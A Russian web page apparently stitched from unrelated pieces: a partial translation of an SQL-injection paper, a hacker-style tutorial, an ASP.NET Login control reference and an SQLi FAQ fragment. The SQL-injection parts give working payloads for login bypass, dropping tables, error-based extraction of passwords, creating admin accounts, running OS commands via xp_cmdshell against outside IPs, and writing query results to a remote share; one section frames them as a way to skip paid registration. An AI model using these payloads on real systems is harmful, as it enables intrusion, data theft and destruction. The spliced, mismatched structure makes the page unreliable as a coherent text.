Домой Заготовки на зиму Элемент управления Login. Как получить результаты моего SQL запроса

Элемент управления Login. Как получить результаты моего SQL запроса

Данная работа является переводом части работы Chris Anley Advanced SQL Injection In SQL Server Applications. ()
В последующих статьях, при наличии свободного времени, данный перевод будет доведен до конца.

P.S. Перевод будет интересен более в образовательных и исторических целях.

Оригинальное название статьи: Продвинутые SQL-инъекции в приложениях, использующих язык SQL.

Аннотация

В данной статье подробно рассматриваются общие способы "SQL-инъекции", для известной платформы Microsoft Internet Information Server/Active Server Pages/SQL Server. В ней обсуждаются различные варианты использования инъекции SQL в приложениях и объясняются методы проверки данных, а также защита баз данных, в которых могут быть использованы инъекции.

Введение

Structured Query Language (SQL) - это структурированный язык, используемый для взаимодействия с базами данных. Существует множетсво "диалектов" языка SQL, но сегодня, в основном, все они построены на основе стандарта SQL-92, один из ранних ANSI стандартов. Основной операционный блок SQL - запрос (query), который является совокупностью выражений, которые обычно возвращают совокупность результатов (result set). SQL выражения могут изменять структуру баз данных (используя выражения языков определения данных - DLL) и управлять их содержанием (используя выражения языков манипулирования данными - DML). В данной работе, мы рассмотрим transact-SQL, использующийся в Microsoft SQL Server.

SQL-инъекции возможны в том случае, когда злоумышленник может вставить свой SQL-код в запрос (query), для управления данными, которые отправляются в приложение.

Обычное SQL выражение выглядит следующим образом:

Select id, forename, surname from authors

Это выражение берет "id", "forename" и "surname" из колонок таблицы "authors" и возвращает все строки в таблице. Выборка может быть ограниченна, определенным "автором", например:

Select id, forename, surname from authors where forename = "john" and surname = "smith"

Необходимо отметить, что в данном запросе строковые литералы разделены одинарной кавычкой. Предполагается, что "forename" и "surrname" являются данными, которые вводятся пользователем. В данном случае злоумышленник будет способен внести собственный SQL-запрос, путем добавления собственных значений в приложение. Например:

Forename: jo"hn Surname: smith

Тогда выражение примет следующий вид:

Select id, forename, surname from authors where forename = "jo"hn" and surname = "smith"

После того, как база данных попытается обработать подобный запрос будет возвращена следующая ошибка:

Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near "hn".

Причина ошибки будет заключаться в том, что введенная одиночная кавычка испортит структуру разделителей в запросе. Таким образом, база данных безуспешно попытается выполнить команду "hn", которая приведет к ошибке. В итоге, если злоумышленник введет в форму следующую информацию:

Forename: jo"; drop table authors-- Surname:

Таблица "authors" будет удалена, почему это произойдет мы рассмотрим позже.

Вам может показаться, что если мы будем удалять одиночные кавычки из формы ввода, а также "заменять" их, это может решить нашу проблему. И вы будете правы, однако существуют некоторые проблемы с использованием этого способа, в качестве решения данной задачи. Во-первых, не вся вводимая пользователем информация является "строками" (strings). Если пользовательская форма будет содержать "id" автора, который обычно является числом. Например, наш запрос может выглядеть следующим образом:

Select id, forename, surname from authors where id=1234

В данном случае взломщик беспрепятственно сможет добавить любое SQL-выражение в после численных данных. В других разновидностях SQL-запросов, используются различные разграничители. Например, в Microsoft Jet DBMS разграничителем будет символ "#". Во-вторых, "избегание" ("escaping") одиночных кавычек вовсе не самый простой способ защиты, как это может показаться сперва. Подробнее об этом мы поговорим далее.

Приведем пример на основе страницы входа на основе Active Server Pages (ASP), которая при помощи SQL получает доступ к базе данных, чтобы авторизовать пользователя в каком-либо приложении.

Приведем код страницы, содержащей форму входа, в которую вводятся имя пользователя и пароль.

Login Page Login

Username:
Password:

Ниже код (process_login.asp), определяющий корректность введенных данных.

p { font-size=20pt ! important} font { font-size=20pt ! important} h1 { font-size=64pt ! important} if (rso.EOF) { rso.close(); ACCESS DENIED } else{ %> 0) { Login(cn); } } cn.close(); Main(); %>

Уязвимость здесь содержиться в "process_login.asp", который создает запрос следующего вида:

Var sql = "select * from users where username = "" + username + "" and password = "" + password + """;

Если пользователь введет:

Username: "; drop table users-- Password:

таблица "users" будет удалена, что закроет доступ к приложению для всех пользователей. Сочетание "--" в Transact-SQL определяет однострочный комментарий, а ";" обозначает конец одной строки и начало другой. Два последовательных тире в данном запросе используются с целью завершить запрос без ошибок.

Более того, злоумышленник может зайти в систему под любым именем пользователя, используя следующую конструкцию:

Username: admin"--

А введя следующую информацию взломщик сможет зайти в систему в качестве выдуманного пользователя:

Username: " union select 1, "fictional_user", "some_password", 1--

Причиной работоспособности этого способа заключается в том, что приложение "поверит", что вернувшийся фиктивный результат является набором записей из базы данных.

Получение информации, основываясь на сообщениях об ошибках

Изобретателем этой методики является David Litchfield, исследователь в области испытаний на проникновение (с целью проверки системы защиты). Позже David написал работу на эту тему, на которую ссылались многие другие авторы. В его работе объясняется механизм, использования сообщений об ошибках - "error message" technique. В своем труде он полностью объясняет читателям данную методику, и дает дальнейший толчок в развитии собственного понимания данной проблемы.

Для успешного управления данными, злоумышленник должен знать структуру баз и таблиц, к которым он хочет получить доступ. Например, таблица наших "users" создана при помощи следующей комманды:

Create table users(id int, username varchar(255), password varchar(255), privs int)

И содержит следующих пользователей:

Insert into users values(0, "admin", "r00tr0x!", 0xffff) insert into users values(0, "guest", "guest", 0x0000) insert into users values(0, "chris", "password", 0x00ff) insert into users values(0, "fred", "sesame", 0x00ff)

Предположим наш хакер хочет вставить собственную запись в таблицу. Вряд ли ему это удастся, если он не знает её структуры. Но даже если ему это и удастся, то значение поля "privs" так и останется непонятным. Взломщик может вставить значение "1", создав себе аккаунт с низкими привелегиями, в то время как ему необходим доступ на уровне администратора приложения.

К счастью, для хакера стандартное поведение ASP на ошибки - отображение сообщений о них, с их помощью полностью определив структуру базы данных, а следовательно узнать значения всех полей из аккаунтов пользователей, которые занесены в базу приложения.

(В следующем примере мы будем использовать предложенную выше базу данных, а также asp скрипт, чтобы показать эту методику в действии.)

Во-первых, взломщик захочет установить имена таблиц, с которыми работают запросы, а также имена полей. Для достижения поставленной цели злоумышленник будет использовать конструкцию "having" в select выражения:

Username: " having 1=1--

Которое вызовет следующую ошибку:

Microsoft OLE DB Provider for ODBC Drivers error "80040e14" Column "users.id" is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35

Таким образом, зная имена таблиц и имя первой колонки в ней. Эту процедуру можно продолжать при помощи оператора "group by", как показано ниже:

Username: " group by users.id having 1=1--

(которое в свою очередь породит новую ошибку)

Microsoft OLE DB Provider for ODBC Drivers error "80040e14" Column "users.username" is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. В итоге хакер придет следующей конструкции:
" group by users.id, users.username, users.password, users.privs having 1=1--
Которая не вызовет ошибки и будет эквивалентна:
select * from users where username = ""
Таким образом, злоумышленник узнает, что запрос затрагивает лишь таблицу "users", структура которой "id, username, password, privs" (именно в этом порядке). Полезной эта информация будте в том случае, если удастся узнать тип данных, который используется в каждой из колонок. Информацию о типе данных можно получить, используя "преобразование типов", например:
Username: " union select sum(username) from users--
Смысл функции summ() заключается в том, что SQL server пытается выполнить ее до того как определит является ли значение численным или символьным. Попытка вычислить "сумму" текстового поля приведет к следующей ошибке:
Microsoft OLE DB Provider for ODBC Drivers error "80040e07" The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35
Которое сообщает нам, что тип данных в поле "username" - varchar. С другой стороны, если мы попытаемся вычислить sum() численного типа, то получим сообщение уведомляющее, что число символов в наборе двух текстовых строк не совпадает:
Username: " union select sum(id) from users-- Microsoft OLE DB Provider for ODBC Drivers error "80040e14" All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35
Мы можем использовать подобную технику для определения типа данных практически любой колонки, любой табилцы, находящейся в базе данных. Что в свою очередь поможет злоумышленнику сформировать хорошо составленный "insert" запрос, например:
Username: "; insert into users values(666, "attacker", "foobar", 0xffff)--
Однако, для возможности алгоритма на этом не заканчиваются. Хакер может получить полезную информацию из ошибок об окружении или самой базе данных. Список стандартных ошибок можно добыть используя конструкцию:
select * from master..sysmessages
Выполнив этот запрос можно получить много занимательной информации. Особенно полезными являются сведения о конвертации типов. Если вы попытаетесь сконвертировать string в integer, вернется сообщение, содержащее в себе весь контент string. В нашем примере, преобразование "username" вернет версию SQL server"а, а также версию операционной системы.
Username: " union select @@version,1,1,1-- Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the nvarchar value "Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) " to a column of data type int. /process_login.asp, line 35
В приведенном примере мы попытаемся преобразовать встроенную константу "@@version" в целочисленное значение, так как первая колонка в таблице "users" имеет это тип данных. Метод может быть использован для чтения любого значения в любой таблице в базе данных. Таким образом, если злоумышленник захочет узнать имена пользователей и пароли, то скорее всего для чтения данных он воспользуется следующей конструкцией:
Username: " union select min(username),1,1,1 from users where username > "a"--
При выборе пользователя, "username" которого больше чем "а" приведет к попытке преобразования типов к целочисленному значению:
Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the varchar value "admin" to a column of data type int. /process_login.asp, line 35
Таким образом, мы получим список пользователей, после чего сможем перейти к получению паролей:
Username: " union select password,1,1,1 from users where username = "admin"-- Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the varchar value "r00tr0x!" to a column of data type int. /process_login.asp, line 35
Более изящный способ - выделить все имена пользователей и пароли в одной выборке, а затем попытаться преобразовать их к целочисленному значению. Необходимо отметить, что выражения Transact-SQL могут быть собраны вмсте в одну строку не изменяя своего значения - рассмотрим следующий пример:
begin declare @ret varchar(8000) set @ret=":" select @ret=@ret+" "+username+"/"+password from users where username>@ret select @ret as ret into foo end
Очевидно, что злоумышленник "зайдет" с эти именем пользователя:
Username: "; begin declare @ret varchar(8000) set @ret=":" select @ret=@ret+" "+username+"/"+password from users where username>@ret select @ret as ret into foo end--
Этот запрос создаст таблицу foo, которая будет содержать единственную колонку "ret", в которой будут находиться все наши строки. Зачастую даже пользователь с низкими привелегиями имеет возможность создать таблицу в базе данных, или даже временную базу данных. Взломщик, таким образом, может выбрать все строки из этой таблицы, так же как и в предыдущем примере:
Username: " union select ret,1,1,1 from foo-- Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the varchar value ": admin/r00tr0x! guest/guest chris/password fred/sesame" to a column of data type int. /process_login.asp, line 35
А после заметет следы, удалив таблицу:
Username: "; drop table foo--
Вышеперечисленные примеры показывают нам всю гибкость, предлагаемую данным алгоритмом. Нет необходимости говорить, что если злоумышленнику удается вызвать ошибку при обращении к базе данных, то их работа в разы упрощается. /process_login.asp, line 35

SQL Injection достаточно хорошая возможность для хакера получить
доступ к серверу. И при небольшом усилии, он
все-таки его получает 🙂

Coder inside

В наше время работа с базами данных поддерживается
практически всеми языками программирования, к таким можно отнести BASIC, C++, Java, PERL, PHP, Assembler и даже JavaScript! А называются эти программы никак иначе как СУБД — системы управления базами данных. Зачастую базы данных применяются для решения финансовых задач,
бухгалтерии, организации кадров, но свое применение они нашли и в Интернете.

Базы данных часто используются для написания WEB-приложений. Их использование наиболее уместно для хранения пользовательских регистрационных данных, идентификаторов сессий, организации поиска, а также других задач требующих обработки большего
количества данных. Для обращения к БД используются серверные технологии: PHP, PERL, ASP, и т.д. Именно тут и начинается самое интересное. Когда на сервере
установлены все патчи, а брандмауэр блокирует все порты кроме 80-ого или когда требуется аутентификация для доступа к некоторым данным, для взлома хакер может использовать SQL Injection. Суть данной атаки заключается в использовании ошибки на стыке WEB технологий и SQL. Дело в том, что многие web страницы для обработки пользовательских данных, формируют специальный SQL запрос к БД. Неосторожное использование данной методики может привести к довольно интересным результатам…

SQL Injection

Для пояснения атаки представим себе, что ты зашел на сайт чтобы скачать одну очень важную тулзу и с ужасом замечаешь, что сделать это может только зарегистрированный пользователь, а регистрация, конечно же, стоит денег 🙂 Последние заработанные отдавать не хочется, а без программы никак! Самое время вспомнить о том как
обращаться к базам данных SQL . Например, проверка логина и пароля, на PHP может иметь следующий вид:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($num_rows!=0)
{
// AUTHENTICATION OK
}
else
{
// AUTHENTICATION ERROR
}

Я добавил два комментария, «AUTHENTICATION OK » — вместо него должен
идти код, который исполнится в том случае, если пароль и логин верны. Другой «AUTHENTICATION ERROR » — место где будет описан код, исполняющийся в случае их неправильности. Если заполнить форму, то запрос получится похожим на «http://www.server.com?login=user&password=31337», где www.server.com имя
сервера, к которому мы пытаемся подключиться. Мы нашли то что искали, а по сему снова вернемся к работе SQL . Итак, если вы для авторизации должны указать логин и пароль, то сформированный SQL запрос будет иметь следующий вид:

SELECT * FROM users WHERE login="user" AND
password="31337"

Это значит примерно следующее: верни мне все записи из базы данных users у которых логин «user», а пароль «31337». Если существует такая запись, значит пользователь зарегистрирован, ну а если нет, то нет… Но при определенных обстоятельствах все можно исправить. Имеется ввиду ситуация, когда приложение не проверяет содержимое передаваемых данных или проверяет не полностью, на наличие SQL инструкций. В данном примере сверяются два поля login и password, но если в качестве пароля указать «31337′ AND email=’[email protected]»(без двойных кавычек), то запрос получится уже немного другим:

SELECT * FROM users WHERE login="user" AND password="31337" AND
email="[email protected]"

И в случае существования поля email это условие также будет проверено. Если вспомнить основы булевой алгебры, то приходит в голову что кроме операции «и» существует и «или», а поскольку их использование поддерживается SQL, можно выше
описанным способом добавить условие которое всегда возвращает истину. Для осуществления данного, необходимо в качестве логина указать «user’ OR 1=1—«, в таком случае запрос примет вид:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
password="31337"

Для начала следует знать, что «—» означает конец запроса, и все после «—»
обрабатываться не будет! Получается, словно мы сделали запрос:

SELECT * FROM users WHERE login="user" OR 1=1

Как вы видите мы добавили условие «1=1», значит критерием проверки будет «если логин ‘user’ или 1=1», но ведь 1 всегда равно 1 (исключением может быть только арифметика Дани Шеповалова:)). Чтобы проверить наши подозрения
забиваем в адресной строке «http://www.server.com?login=user or 1=1—&password=31337». Это приводит к тому, что не играет роли какой именно логин мы указали, а
тем более пароль! И мы в матри… ой, в системе и можем спокойно качать то что нам необходимо.

Но это все в теории. На практике нам неизвестно каким образом формируется запрос, какие данные передаются и в какой последовательности. Поэтому необходимо указывать «user’ OR 1=1—» для всех полей. Также следует проверить форму отправки на наличие скрытых полей. В HTML они описываются как «». Если таковые существуют, сохраните страницу и поменяйте значения данных полей. Значения содержащиеся в них часто забывают проверять на наличие SQL инструкций. Но чтобы все заработало следует в форме (тэг «FORM») для параметра «ACTION» указать полный путь к скрипту, что обрабатывает данный запрос.

Но не всегда также известно как сформирован запрос,
прошлый пример можно было сформировать и следующими способами:

SELECT * FROM users WHERE (login="user" AND password="31337")
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * FROM users WHERE login=user AND password=31337

В таком случае можно попробовать следующие варианты:

‘ OR 1=1—
» OR 1=1—
OR 1=1—
‘ OR ‘a’=’a
» OR «a»=»a
‘) OR (‘a’=’a
OR ‘1’=’1′

Все зависит от предназначения скрипта, и от программиста. Поскольку каждому человеку свойственно все делать по своему, то вполне возможно, что программист выберет не самый простой вариант. Поэтому не следует сразу
сдаваться, если вы получите отказ. Необходимо
испробовать как можно большее количество вариантов…

Password detection

Обходить авторизацию неплохо, но очень часто дырка которую вы используете закрывается, и все что было для вас доступно теряется.
Этого и следовало ожидать, если программист не дурак он
со временем прикроет все лазейки. От таких ситуаций можно легко избавится заранее позаботившись об этом. Правильным решением может стать угадывание пароля посредством
анализа результатов аутентификации. Для начала пробуем угадать пароль, для этого введем место него:

‘ OR password>’a

Если нам ответят, что авторизация пройдена, значит пароль
начинается не на букву «а», а на какую-то из следующих по списку. Двигаемся дальше и подставляем
место "a", следующие «b», «c», «d», «e»… и т.д. пока нам не ответят, что пароль не правильный. Пускай этот процесс остановился на символе «x», в таком случае создаются два варианта развития ситуации, пароль найден или же пароль начитается на этот символ. Чтобы проверить первый вариант пишем место пароля:

‘ OR password=’x

и если пароль принят и тебя впустили, значит ты угадал пароль! Ну а нет, тогда следует подбирать уже второй символ,
точно так же, с начала. Для двух символов проверять
нужно так же. В конце концов, ты получишь пароль, а логин ищешь тем самым путем 🙂
В случае, если найденные пароль и логин тебя не устраивают, можешь отыскать и другие. Для этого необходимо начать проверку с последнего символа найденного пароля. Так, если пароль был «xxx» проверять необходимо существование пароля
"xxy":

‘ OR password=’xxx

чтобы не упустить не один вариант!

MS SQL Server

MS SQL Server вообще находка, если упущена необходимая фильтрация. Используя уязвимость SQL Injection можно исполнять
команды на удаленном сервере с помощью exec master..xp_cmdshell. Но чтобы использовать эту конструкцию
необходимо завершить операцию «SELECT». В SQL инструкции разделяются точкой с запятой. Поэтому подключится к некоторому IP по Telnet’у, необходимо место пароля/логина набрать:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

У MS SQL Server есть, еще несколько интересных особенностей, позволяющих узнать логины и пароли хранящиеся в базе данных. Для этого вывод об ошибках перенаправляется на произвольный сервер и посредствам их
анализа можно узнать название таблицы, полей и их типов. После чего можно запросом

‘ UNION SELECT TOP 1 login FROM users—

(login имя поля содержащего логин, а users — имя таблицы,
полуученые в процессе анализа ошибок).

Ответ может быть следующим:


Syntax error converting the nvarchar value "admin" to a column of data type int.
/default.asp, line 27

Теперь мы знаем, что есть пользователь с именем «admin». Теперь мы можем получить его пароль:

‘ UNION SELECT TOP 1 password FROM users where login=’admin’—

Результат:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "xxx" to a column of data type int.
/tedault.asp, line 27

Теперь нам известно, что есть пользователь «admin» с паролем «xxx». Этим можно смело
воспользоваться и залогинится в систему 😉

Но для работы с SQL существует еще много других функций,
при работе с базой данных можно также удалять данные, модифицировать, вставлять свои и даже манипулировать файлами и работать с реестром.
В общем, SQL Server — рулит 🙂

Защита

Но этого всего естественно можно избежать. Для этого можно
воспользоваться фильтрами,
предоставляемыми производителями. Можно найти свои решения, например заменять все одинарные
кавычки двойными (если для SQL запроса мы пользуетесь одинарными), или наоборот. Можно разрешить только использование букв и с@баки, в случае если требуется ввести
электронный адрес. А еще в перле есть удивительная
функция 🙂 quote() в модуле DBI::DBD, которая успешно делает ваш запрос безопасным по отношению к SQL . Решений много, необходимо просто ими
воспользоваться. Иначе зачем тогда все это…

Элемент управления Login

Элемент управления Login упрощает создание страницы входа для аутентификации с помощью форм в сочетании с Membership API. Он предоставляет готовый к применению пользовательский интерфейс, запрашивающий имя и пароль пользователя и предлагающий кнопку для входа пользователя. "За кулисами" он инкапсулирует функциональность, которая была описана в предыдущей статье: проверку удостоверений пользователей через Membership API и инкапсуляцию базовой функциональности аутентификации с помощью форм, такой как перенаправление к изначально запрошенной странице в защищенной области приложения после успешного входа.

Это значит, что Login инкапсулирует такие вещи, как Membership.ValidateUser() или FormsAuthentication.RedirectFromLoginPage(), поэтому писать этот код самостоятельно не придется. На рисунке ниже показан элемент управления Login в действии:

Всякий раз, когда пользователь щелкает на кнопке Log In (Войти), элемент управления автоматически проверяет имя и пароль, применяя для этого функцию Membership.ValidateUser(), а затем вызывает FormsAuthenication.RedirectFromLoginPage(), если проверка прошла успешно. Все опции элемента управления Login влияют на ввод, доставляемый им в эти метода. Например, если отметить флажок Remember me next time (Запомнить учетные данные), он передаст значение true в параметре createPersistentCookie метода RedirectFromLoginPage(). Поэтому FormsAuthenticationModule создает постоянный cookie-набор.

"За кулисами" Login представляет собой составной элемент управления ASP.NET. Он полностью расширяем - в том смысле, что позволяет переопределять любые стили компоновки и свойства, а также перехватывать генерируемые события для переопределения его поведения по умолчанию. Если оставить элемент управления без изменений, как он есть, и не перехватывать никаких событий, то он автоматически будет использовать поставщик членства, сконфигурированный для приложения.

Простейшая форма элемента управления Login на странице выглядит следующим образом:

Для изменения внешнего вида элемента управления Login предназначено несколько свойств. Можно применять разные установки стилей, как показано ниже:

Кроме того, для настройки внешнего вида Login можно использовать классы CSS. Каждое свойство стиля, поддерживаемое элементом управления Login, включает свойство CssClass. Как и в случае любого другого элемента управления ASP.NET, это свойство позволяет указать имя класса CSS, который был добавлен ранее к веб-сайту. Предположим, что в проект добавлена следующая таблица стилей CSS с именем файла MyStyles.css:

MyLoginTextBoxStyle { cursor: pointer; background-color: yellow; text-align: center; padding:6px; border: dotted black; font-family: Verdana; vertical-align: middle; } .Login { display:inline-block; } .Title { padding: 6px; }

Этот файл стиля можно включить в страницу входа, чтобы иметь возможность использовать стиль для элемента Login:

В таблице ниже перечислены стили, поддерживаемые элементом управления Login. Каждый стиль работает одним и тем же способом. Свойства шрифта и цвета можно устанавливать непосредственно или применять свойство CssClass для указания нужного класса CSS:

Стили, поддерживаемые элементом управления Login Стиль Описание
CheckBoxStyle

Определяет свойства стиля для флажка Remember me next time (Запомнить учетные данные)

FailureStyle

Определяет стиль для текста, который отображается а случае неудачного входа

HyperLinkStyle

Элемент управления Login позволяет определить несколько типов гиперссылок, например, на страницу начальной регистрации. Этот стиль задает внешний вид таких гиперссылок

InstructionTextStyle

Элемент управления Login позволяет указать текст справки, отображаемый непосредственно в нем самом. Этот стиль задает внешний вид этого текста

LabelStyle

Определяет стиль для меток User Name (Имя пользователя) и Password (Пароль)

LoginButtonStyle

Определяет стиль кнопки входа

TextBoxStyle

Определяет стиль для текстовых полей User Name (Имя пользователя) и Password (Пароль)

TitleTextStyle

Определяет стиль текста заголовка для элемента управления Login

ValidatorTextStyle

Определяет стили для элементов управления, используемых для проверки имени и пароля пользователя

Пользовательский интерфейс элемента Login настраивается не только через эти стили; другие дополнительные свойства предназначены для определенных частей содержимого элемента управления, таких как кнопка Log In, которые также позволяют настроить графический интерфейс.

Например, можно выбрать текст, отображаемый на кнопке входа, либо вообще отображать вместо этой кнопки (как установлено по умолчанию) гиперссылку. Более того, к элементу управления Login можно добавить несколько гиперссылок, таких как ссылка на страницу справки или на страницу регистрации. Обе страницы должны быть открыты для анонимного доступа, поскольку справка должна предлагаться также анонимным пользователям (вспомните, что если кто-то видит элемент управления Login, то он - потенциально анонимный пользователь). Чтобы включить дополнительные ссылки в Login, модифицируйте ранее показанное определение следующим образом:

...

Этот код приводит к отображению двух дополнительных ссылок - на страницу справки и на страницу первоначальной регистрации, а также добавляет текст краткой инструкции под заголовком элемента Login:

Стили, описанные ранее, применимы и к этим свойствам. В таблице ниже описаны важные свойства для настройки элемента управления Login:

Важные свойства для настройки элемента управления Login Свойство Описание
Текст сообщений
TitleText

Текст, отображаемый в заголовке элемента управления

InstructionText

Это свойство уже использовалось в предыдущем фрагменте кода. Содержит текст, отображаемый ниже заголовка элемента управления

FailureText

Текст, отображаемый элементом управления Login, если попытка входа не удалась

UserNameLabelText

Текст, отображаемый в виде метки перед текстовым полем имени пользователя

PasswordLabelText

Текст, отображаемый в виде метки перед текстовым полем пароля пользователя

UserName

Начальное значение, заполняющее текстовое поле имени пользователя

UsernameRequiredErrorMessage

Сообщение об ошибке, отображаемое, если пользователь не ввел имя

PasswordRequiredErrorMessage

Сообщение об ошибке, отображаемое, если пользователь не ввел пароль

Кнопка входа
LoginButtonText

Текст, отображаемый на кнопке входа

LoginButtonType
LoginButtonImageUrl

Если кнопка входа представлена как графическое изображение, необходимо указать URL, где находится это изображение

Страница входа
DestinationPageUrl

Если попытка входа была успешной, элемент управления Login перенаправляет пользователя на эту страницу. По умолчанию это свойство пусто. При пустом значении используется инфраструктура аутентификации с помощью форм для перенаправления либо на исходную запрошенную страницу, либо на defaultUrl, сконфигурированный в web.config для аутентификации с помощью форм

FailureAction

Определяет действие, которое элемент управления выполняет после неудачной попытки входа. Два допустимых варианта - Refresh и RedirectToLoginPage. Первое значение приводит к обновлению только текущей страницы, а второе - к перенаправлению на сконфигурированную страницу входа. Второй вариант полезен, если элемент управления Login используется где-то в другом месте, а не на странице входа

VisibleWhenLoggedIn

Если установлено в false, то элемент управления автоматически скрывает себя, если пользователь уже вошел. Если установлено в true (по умолчанию), то элемент Login отображается, даже если пользователь совершил вход

Настройка метки "Запомнить меня"
DisplayRememberMe

Позволяет показывать или скрывать флажок Remember me next time (Запомнить меня). По умолчанию это свойство установлено в true

RememberMeSet

Определяет значение по умолчанию флажка Remember me next time. По умолчанию это свойство установлено в false, т.е. флажок не отмечен

Страница регистрации
CreateUserUrl

Определяет гиперссылку на страницу веб-сайта, которая позволяет создавать (регистрировать) пользователя. Таким образом, это обычно используется для открытия пользователю доступа к странице первичной регистрации. Обычно при этом отображается элемент управления CreateUserWizard

CreateUserText
CreateUserIconUrl

URL-адрес графического изображения, выводимого вместе с текстом гиперссылки CreateUserUrl

Страница помощи
HelpPageUrl

URL-адрес для перенаправления пользователя на страницу справки

HelpPageText
HelpPageIconUrl

URL-адрес значка, отображаемого вместе с текстом гиперссылки HelpPageUrl

Страница восстановления пароля
PasswordRecoveryUrl

URL-адрес для перенаправления пользователя на страницу восстановления пароля. Эта страница применяется, когда пользователь забыл пароль. Обычно она отображает элемент управления PasswordRecovery

PasswordRecoveryText
PasswordRecoveryIconUrl

URL-адрес значка, отображаемого вместе с текстом гиперссылки PasswordRecoveryUrl

Шаблоны и элемент управления Login

Как видите, благодаря всем этим свойствам элемент управления Login настраивается очень гибко. Но как вы, скорее всего, обратили внимание, определить какое-нибудь выражение для проверки достоверности ввода невозможно. Конечно, можно реализовать проверку достоверности на стороне сервера внутри процедур событий, предлагаемых элементом управления Login. Когда требуется добавить какие-то элементы к составному элементу управления Login, это не получится сделать через представленные выше свойства. Например, что если понадобится второе текстовое поле для надежной аутентификации со вторым паролем или пользовательским ключом доступа, как это делается на некоторых правительственных сайтах?

К счастью, подобно другим элементам управления, таким как GridView, элемент Login поддерживает шаблоны. С помощью шаблонов можно настраивать содержимое элемента управления Login без каких-либо ограничений. К нему можно добавлять любые новые элементы управления. Применяется специальный шаблон к элементу управления Login с помощью дескриптора LayoutTemplate :

Войти в систему

Имя пользователя:
Пароль:

Если удача на вашей стороне, вы войдете в систему без имени или пароля.

3.1 Но почему " or 1=1--?

Давайте рассмотрим другой пример, который объясняет полезность конструкции " or 1=1-- . Кроме обхода регистрации, также можно рассмотреть дополнительную информацию, которая обычно не доступна. Рассмотрим asp страницу, которая ссылается на другую страницу со следующим URL:

http://duck/index.asp?category=food

В URL, "category" – это имя переменной, и "food" – значение, назначенное этой переменной. Чтобы это сделать, asp страница может содержать следующий код:

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory="" & v_cat & """
set rs=conn.execute(sqlstr)

как видно, наша переменная будет объединена с v_cat и таким образом SQL запрос должен стать:

SELECT * FROM product WHERE PCategory="food"

Этот запрос должен возвратить набор, содержащий одну или более строк, которые соответствуют условию WHERE, в этом случае "food". Теперь изменим URL следующим образом:

http://duck/index.asp?category=food" or 1=1--
SELECT * FROM product WHERE PCategory="food" or 1=1--‘

Этот запрос возвратит все строки в таблице product, независимо от того, Pcategory равен "food" или нет. Двойная черточка "-" сообщает, что MS SQL сервер игнорирует остальную часть запроса, которая следует за одиночной кавычкой ("). Иногда можно заменить двойную черточку на диез "#".

Однако, если используется не SQL сервер, или вы не можете игнорировать остальную часть запроса, пробуйте:

" or "a"="a

Теперь SQL запрос станет:

SELECT * FROM product WHERE PCategory="food" or "a"="a"

Этот запрос возвратит тот же самый результат.

В зависимости от фактического SQL запроса, вероятно, придется пробовать некоторые из этих возможностей:

" or 1=1--
" or 1=1--
or 1=1--
" or "a"="a
" or "a"="a
") or ("a"="a

4.0 Как можно удаленно выполнять команды, используя SQL injection?

Возможность вводить SQL команду обычно означает, что мы можем выполнять SQL запросы по желанию. Заданная по умолчанию инсталляция MS SQL Server выполняется с системными правами. Мы можем вызвать встроенные процедуры, типа master..xp_cmdshell, для удаленного выполнения произвольных команд:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Попробуйте использовать двойные кавычки ("), если (") не срабатывает.

Точка с запятой закончит текущий SQL запрос и позволит вам запускать новые SQL команды. Чтобы проверить, выполнена ли команда успешно, вы можете проверить ICMP пакеты в 10.10.1.2, присутствуют ли в них какие либо пакеты с уязвимого сервера:

http://сайт/?ID=31610

Если вы не получили никакой запрос утилиты ping от сервера, и получаете сообщение об ошибке, указывающее ошибку разрешения, возможно, что администратор ограничил доступ Web пользователя к сохраненным процедурам.

5.0 Как получить результаты моего SQL запроса?

Можно использовать sp_makewebtask, чтобы записать ваш запрос в HTML:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Указываемый IP должен иметь папку "share" с доступом для Everyone.

6.0 Как получить данные из базы данных, используя ODBC сообщение об ошибках?

Мы можем использовать информацию из сообщения об ошибке, произведенной SQL сервером, чтобы получить любые данные. Например, рассмотрим следующую страницу:

http://duck/index.asp?id=10

Теперь мы попробуем объединить целое ‘10’ с другой строкой в базе данных:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере.

Поле TABLE_NAME очевидно содержит имя каждой таблицы в базе данных. Она была выбрана, потому что мы знаем, что она всегда существует. Наш запрос:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Этот запрос возвратит первое имя в базе данных. Когда мы UNION это строковое значение к целому 10, MS SQL Server попытается преобразовать строку nvarchar к integer. Это вызовет ошибку, которая сообщит, что не может преобразовать nvarchar к int. Сервер выдаст следующую ошибку:


Syntax error converting the nvarchar value "table1" to a column of data type int.
/index.asp, line 5

Сообщение об ошибке содержит информацию о значении, которое не может быть преобразовано в целое. В этом случае, мы получили имя первой таблицы - "table1".

Для получения следующего имени таблицы, мы можем использовать следующий запрос:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("table1")--

